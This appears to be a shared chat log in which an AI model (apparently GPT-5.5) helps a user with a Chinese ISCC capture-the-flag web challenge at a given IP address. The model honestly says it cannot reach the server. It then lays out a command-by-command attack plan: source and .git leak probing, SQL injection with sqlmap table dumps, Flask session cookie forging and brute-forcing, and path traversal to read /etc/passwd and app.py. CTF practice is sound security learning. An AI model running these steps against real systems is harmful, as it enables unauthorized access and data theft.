社团“活动”统计站的小秘密等你来挖~ 题目地址:39.105.213.28:8000获取flag,格...
Créé le : 13 mai 2026
Répondu en utilisant GPT-5.5 Thinking par Chat01
Créé le : 13 mai 2026
Répondu en utilisant GPT-5.5 Thinking par Chat01
社团“活动”统计站的小秘密等你来挖~
题目地址:39.105.213.28:8000获取flag,格式为ISCC{}。主要目的为复现
我无法直接连上 39.105.213.28:8000,所以不能诚实地给出已验证的 ISCC{...}。你可以在本机按下面流程复现,我会把重点放在 CTF Web 题常见的“活动统计站”信息泄露 / 接口注入 / Cookie 秘钥问题上。
bashTARGET="http://39.105.213.28:8000" curl -i "$TARGET/" curl -s "$TARGET/" -o index.html grep -Eoi '(src|href)="[^"]+"' index.html grep -niE 'flag|secret|admin|debug|api|activity|stats|token|session' index.html
如果有 JS 文件,全部下载后搜关键词:
bashmkdir js grep -Eoi 'src="[^"]+\.js[^"]*"' index.html | cut -d'"' -f2 | while read f; do curl -s "$TARGET/$f" -o "js/$(basename "$f")" done grep -RniE 'flag|secret|admin|debug|api|activity|stats|token|session|fetch|axios|ajax' js/
重点看有没有类似:
text/api/stats /api/activity /admin /export /download /flag /secret
bashfor p in \ robots.txt sitemap.xml \ .git/HEAD .env config.php config.py app.py main.py \ backup.zip www.zip source.zip src.zip app.zip \ index.php.bak index.py.bak app.py.bak \ static/js/app.js.map; do echo "===== /$p =====" curl -i -s "$TARGET/$p" | head -n 20 done
如果 .git/HEAD 可访问,直接尝试恢复源码:
bashgit-dumper "$TARGET/.git/" dumped grep -RniE 'flag|secret|password|admin|sqlite|mysql|ISCC' dumped/
统计站通常会有按社团、活动、年份、类型查询的参数,例如:
text/api/stats?club=1 /api/activity?id=1 /search?keyword=xxx /rank?year=2024
对每个参数做最小化测试:
bashcurl -i "$TARGET/api/stats?club=1" curl -i "$TARGET/api/stats?club=1'" curl -i "$TARGET/api/stats?club=1%20and%201=1" curl -i "$TARGET/api/stats?club=1%20and%201=2"
如果 and 1=1 和 and 1=2 返回内容明显不同,基本就是注入点。
低风险 sqlmap 复现:
bashsqlmap -u "$TARGET/api/stats?club=1" \ --batch --level=2 --risk=1 --delay=0.5 --random-agent --current-db
继续枚举:
bashsqlmap -u "$TARGET/api/stats?club=1" --batch --level=2 --risk=1 --delay=0.5 --tables sqlmap -u "$TARGET/api/stats?club=1" --batch --level=2 --risk=1 --delay=0.5 -T flag --dump
也可以全站爬到参数再测:
bashkatana -u "$TARGET" -silent -d 2 | tee urls.txt grep -E '\?.+=' urls.txt | tee params.txt
看响应头和 Cookie:
bashcurl -i "$TARGET/"
如果看到类似:
textSet-Cookie: session=eyJ... Server: Werkzeug
说明可能是 Flask。尝试解 Cookie:
bashflask-unsign --decode --cookie '这里填session值'
如果源码或 JS 泄露了 SECRET_KEY,可以伪造管理员:
bashflask-unsign --sign \ --cookie "{'is_admin': True, 'username': 'admin'}" \ --secret '泄露到的SECRET_KEY'
然后带 Cookie 访问:
bashcurl -i "$TARGET/admin" -H "Cookie: session=伪造后的session" curl -i "$TARGET/flag" -H "Cookie: session=伪造后的session"
如果没有 secret,但 Cookie 可爆破:
bashflask-unsign --unsign \ --cookie '这里填session值' \ --wordlist /usr/share/wordlists/rockyou.txt
统计站常见功能名:
text/export?file= /download?filename= /read?path= /static?name=
测试:
bashcurl -i "$TARGET/download?filename=../../../../etc/passwd" curl -i "$TARGET/export?file=../../../../flag" curl -i "$TARGET/export?file=../../../../app/flag" curl -i "$TARGET/export?file=../../../../var/www/html/flag"
源码型路径也要试:
bashcurl -i "$TARGET/download?filename=app.py" curl -i "$TARGET/download?filename=../app.py" curl -i "$TARGET/download?filename=../../app.py"
优先把这些结果贴出来,能最快定位到 flag:
bashcurl -i http://39.105.213.28:8000/ grep -Eoi '(src|href)="[^"]+"' index.html grep -RniE 'flag|secret|admin|debug|api|activity|stats|token|session|fetch|axios|ajax' js/
尤其是页面源码、JS 里出现的 /api/... 接口,以及任何 Set-Cookie、Server、报错信息。这样下一步就能收敛到具体利用点。